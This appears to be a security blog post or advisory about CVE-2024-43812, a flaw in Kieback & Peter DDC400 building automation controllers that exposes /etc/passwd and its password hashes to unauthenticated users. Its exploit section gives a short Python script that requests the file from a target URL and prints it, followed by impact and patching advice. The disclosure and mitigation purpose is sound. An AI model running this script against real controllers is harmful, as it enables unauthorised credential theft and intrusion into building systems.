The Kieback & Peter (K&P) DDC400 series is a highly efficient and intelligent building automation system, favored by many for its user-friendly interface and state-of-the-art features. However, recent exploration has uncovered an insufficiently protected credentials vulnerability (CVE-2024-43812) that may allow unauthenticated attackers the ability to access the /etc/passwd file, thereby reading all password hashes for users within the system.

In this post, we provide an in-depth analysis of the CVE-2024-43812 vulnerability, including: the root cause, potential impact, and a proposed solution to secure your K&P DDC400 system.

Background

First, let's familiarize ourselves with the importance of the /etc/passwd file. This is a Unix record that stores users' essential information, such as their username, user ID, group ID, and encrypted password. With access to this file, an attacker can potentially crack password hashes, paving the way for system-wide unauthorized intrusion.

In the case of CVE-2024-43812, unauthenticated attackers can leverage the insufficiently protected credentials vulnerability to access this /etc/passwd file. Usually, the file requires proper authentication or even administrative privileges to access. However, this vulnerability allows attackers to bypass such restrictions.

Exploit Details

The vulnerability arises due to the failure of K&P DDC400 series software to adequately protect user credentials (/etc/passwd) from unauthenticated access. Using the following code snippet, an attacker can easily read the password hashes for all users:

import requests
import sys

def exploit(target_url):
  passwd_url = target_url + "/etc/passwd"
  response = requests.get(passwd_url)

  if response.status_code == 200:
    print("[+] Found /etc/passwd content:")
    print(response.text)
  else:
    print("[-] Could not retrieve /etc/passwd")

if __name__ == "__main__":
  if len(sys.argv) < 2:
    print("Usage: python3 exploit.py <target_url>")
  else:
    exploit(sys.argv[1])

Impact

The implications of this vulnerability are far-reaching. While K&P DDC400 series units help manage and automate complex building environments, an unknown attacker could potentially gain unauthorized access to the entire system. This access, in turn, can lead to an array of undesirable outcomes, such as sabotage, data theft or manipulation, and unauthorized access to other network resources.

Proposed Solution

To safeguard against CVE-2024-43812, the best course of action is to update your K&P DDC400 series software to the latest version, which patches the insufficiently protected credentials vulnerability. Additionally, as a standard security measure, ensure that strong, unique passwords are being used for all user accounts within the system. Regularly monitoring system logs for any unusual activity can also be helpful in detecting potential threats.

Concluding Remarks

Staying informed and taking swift action against vulnerabilities like CVE-2024-43812 is crucial in maintaining the security and integrity of your K&P DDC400 series installation. Updating your system and following best practices for password management and system monitoring will help protect your network from unauthorized access.

For more information about CVE-2024-43812, please visit the official CVE page on MITRE's website (CVE-2024-43812 Details) and refer to Kieback & Peter's security advisory on their website (K&P DDC400 Series Security Advisory).

Timeline

Published on: 10/22/2024 22:15:05 UTC
Last modified on: 10/23/2024 15:12:34 UTC